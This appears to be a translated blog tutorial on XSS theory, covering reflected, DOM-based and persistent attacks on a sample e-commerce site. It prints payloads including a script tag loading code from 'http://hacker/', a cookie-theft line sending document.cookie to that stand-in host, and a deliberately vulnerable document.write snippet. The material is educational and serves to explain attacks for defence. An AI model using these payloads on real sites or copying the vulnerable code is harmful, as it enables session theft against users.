![hacked](https://img.sharedevto.me/asset/1084e334-d51e-4fc9-8ef6-cdca86fc4b9a.webp)

<script>
    alert("OK");
</script>

To fully understand XSS (Cross Site Scripting) attacks, there is a plethora of theories and technologies that attackers use to inject code into your browser. In this section, I will provide a general overview of the techniques used in XSS attacks and common attack vectors, ranging from basic to complex. As demonstrated in this section, there is much more to XSS than we can comprehend. Naturally, inserting a script into a search box is one attack vector, but what happens when it bypasses filters? Can it overcome those filters? It is an undeniable fact that XSS is a vast field, consistently astonishing the world with new techniques, attack methods, and infiltration tactics. However, there are fundamental concepts that Web developers, security researchers, and IT professionals—those responsible for maintaining infrastructure—must clearly understand. This section will introduce the essential information that everyone in the field should be aware of, emphasizing that XSS attacks can potentially become a thing of the past.

# XSS Attacks

XSS is an attack technique that forces a web page to display malicious code, which is then executed in the user's web browser. Typically (but not always), XSS payloads are written in HTML/JavaScript (also known as JavaScript malware), and they do not execute on the server side. The server merely hosts the content, while the executable code runs in the user's browser. Attackers utilize trusted websites as a bridge for their attacks. It is the users who fall victim to this type of attack, not the servers. Once the attacker has control over the user's web browser, they can perform numerous other malicious activities, including stealing accounts, logging keystrokes, conducting internal network attacks, and stealing browsing histories. In this section, I will outline several ways users can be targeted by XSS and become infected with malicious JavaScript payloads.

If a web browser is compromised by an XSS attack, it will inevitably access web pages containing the malicious JavaScript code. Numerous scenarios illustrate how malicious JavaScript can reside within a webpage. Here are some examples:

1. The website owner intentionally uploads malicious code.
2. The website has been compromised, and its content is altered by exploiting vulnerabilities in the network or operating systems, incorporating malicious JavaScript as part of the payload.
3. A persistent XSS vulnerability is exploited, where malicious JavaScript is injected into the publicly accessible content of the website.
4. A victim may have clicked on a crafted link or a DOM-based XSS link.

To demonstrate methods 1 and 2 above, let's consider a simple webpage without any embedded malicious JavaScript. A user accessing this page would become infected with the payload. Line five describes where the malicious JavaScript is injected and how the attacker can use a standard HTML script tag to invoke code from any location within the webpage. In this instance, the location is `http://hacker/javascript_malware.js`, which could link to any amount of JavaScript. It's also essential to mention when the code in the `javascript_malware.js` file executes, which will also run in the context of `victimsite.com`.

```html
<html>
    <body>
        <h1>XSS Demonstration</h1>
        <script src="http://hacker/javascript_malware.js"></script>
    </body>
</html>
```

The next two methods (3 and 4) require a website that contains XSS vulnerabilities. In such cases, users might be tricked into clicking a specially crafted link (non-persistent or DOM-based link), or users might be unknowingly attacked while accessing a page injected with malicious code (persistent attack). Importantly, the user's web browser or computer does not need to be particularly vulnerable to widespread security flaws. This means that no fix method can protect users, making us highly reliant on the security protocols of websites for safe online browsing.

## Non-Persistent Attacks

Consider that a hacker wishes to execute an XSS attack on the website `http://victim/`, a well-known e-commerce site. First, the hacker needs to identify the XSS vulnerabilities on `http://victim/` and then prepare a specific manual URL (Uniform Resource Locator). To achieve this, the hacker must scour the entire website for any functionality that allows user-supplied data to be sent to the web server and then echoed back to the screen. A very common vector for this is via search fields.

The image below shows a standard shopping cart interface on websites (especially e-commerce sites). XSS vulnerabilities frequently occur in search fields on most websites. By inputting test payloads into the search box, the results page will reflect the content supplied by the user, as depicted in the image. Below is a new URL with a query string containing an XSS test value. This URL could change anywhere, even allowing HTML/JavaScript content to be included.

![figure 3.1](http://tech.blog.framgia.com/vn/wp-content/uploads/2014/09/fig3.1.png)
![figure 3.2](http://tech.blog.framgia.com/vn/wp-content/uploads/2014/09/fig3.2.png)

The figure below simulates what occurs when the original search value is replaced with the following HTML/JavaScript code.

```javascript
<SCRIPT>alert('XSS%20Testing')</SCRIPT>
```

The result of the webpage executing this would be a harmless alert box, as guided by the code that has now transformed into part of the webpage. This demonstrates how JavaScript can be introduced in the context of `http://victim/` and executed. Below simulates the source code of the webpage injected with the new HTML/JavaScript code.

![figure 3.3](http://tech.blog.framgia.com/vn/wp-content/uploads/2014/09/fig3.3.png)

```html
<form action="http://server/shopping_cart.cgi">
    <input type="text" name="search" value=""><SCRIPT>alert('XSS%20Testing')</SCRIPT>">
    <input type="submit" value="Submit">
</form>
<div>
    Sorry, no search results found for ""><SCRIPT>alert('XSS%20Testing')</SCRIPT>
</div>
```

Here, the hacker can continue to craft more sophisticated, prepared URLs to execute XSS attacks and exploit users. A prime example of this is using such an attack to steal cookies.

```javascript
<SCRIPT>var img=new Image(); img.src="http://hacker/" + document.cookie;</SCRIPT>
```

The above example creates a DOM image object.

```javascript
var img=new Image();
```

Thus, when the JavaScript executes within `http://victim/`, it can access cookie data.

```javascript
document.cookie;
```

This image object is then assigned to an external URL which is where the cookie data from the user's browser is sent.

```javascript
img.src="http://hacker/" + document.cookie;
```

Below is an example of the HTTP request being sent.

```
GET http://hacker/path/_web_browser_cookie_data HTTP/1.1
    Host: host
    User-Agent: Firefox/1.5.0.1
    Content-length: 0
```

Once the hacker completes their exploit code, they can advertise the prepared link through spam emails (phishing with super bait), mass messages, instant messaging (IM), and various other channels to entice click-throughs. What makes this type of attack effective is that users are more inclined to click on links that appear legitimate, rather than a random domain name or an IP address like those seen in other phishing emails.

## DOM-Based Attacks

DOM-based attacks represent a unique form of XSS and are used similarly to non-persistent attacks; however, in this case, the malicious JavaScript payload doesn't need to be sent or echoed back from the web server to exploit a user. Consider the example above with an e-commerce site that displays promotional advertisements. The following URL will query the database for information identified by `product_id` and display it to the user.

![Figure 3.5](http://tech.blog.framgia.com/vn/wp-content/uploads/2014/09/fig3.5.png)

![Figure 3.6](http://tech.blog.framgia.com/vn/wp-content/uploads/2014/09/fig3.6.png)

For users to see the changing values, the URL can be updated in the browser to include different query snippets.

```
http://victim/promo?product_id=100&title=<span style="font-weight: bold">Last+Chance! </span>
http://victim/promo?product_id=100&title=<span style="font-weight: bold">Only+10+Left! </span>
```

The URL values are written automatically by the webpage using available JavaScript.

```html
<script>
    var url = window.location.href;
    var pos = url.indexOf("title=") + 6;
    var len = url.length;
    var title_string = url.substring(pos,len);
    document.write(unescape(title_string));
</script>
```

Herein lies the problem. In this scenario, the client-side JavaScript blindly trusts the data contained in the URL to display on the screen. This trust can be exploited to create the following URLs that contain malicious JavaScript code.

```
http://victim/promo?product_id=100&title=Foo#<SCRIPT>alert('XSS%20Testing')</SCRIPT>
```

As before, this URL could also be used to reference JS payloads from anywhere on the web. What distinguishes this type of XSS is that the malicious JavaScript payload isn't sent to the web server. As defined by RFC (Request For Comments), a “fragment” of a URL after the `#` indicates where the web browser jumps within the current document. This fragment data is not sent to the web server and stays with the DOM. Hence, we refer to them as DOM-based XSS.

## Persistent Attacks

Persistent XSS attacks (also known as HTML Injection) frequently occur on community-driven content sites or mail platforms, and they do not require a specially crafted link to execute. A hacker merely needs to send an XSS exploit to a section of the website as if they were accessing the site like any regular user. Such areas may include blog comments, user reviews, posting for spreading messages, chat rooms, HTML emails, wikis, and numerous other sections. Once a user accesses the compromised webpage, the execution of the malicious code is entirely automatic. This makes persistent XSS attacks far more dangerous than non-persistent or DOM-based attacks, as users have no way to defend themselves. Once an attacker successfully injects their code into these webpages, they can promote the attack URL to deceive other users. Even adept users who are careful to avoid non-persistent XSS attacks may still fall prey to persistent XSS.

In the next section, I will delve deeper into the DOM-based XSS attack vector, a particularly dangerous and common XSS attack today.

XSS Attacks and Defense: The Theory of XSS

Exploring AngularJS - An Overview (Part 1)

Exploring Parallax Scrolling Techniques in Web Development

AngularFaces - Part 1

ASP.NET 5 and AngularJS Part 3: Implementing Client Routing

3 useful commands in JavaScript that you should know

Introduction to Basic HTML and CSS

Exploring Dojo Toolkit

Understanding Cookies in JavaScript

Exploring Strict Mode in JavaScript

Introduction to Object-Oriented Programming in JavaScript

Home

Post

https://img.sharedevto.me/asset/1084e334-d51e-4fc9-8ef6-cdca86fc4b9a.webp

https://sharedevto.me/p/xss-attacks-and-defense-the-theory-of-xss-173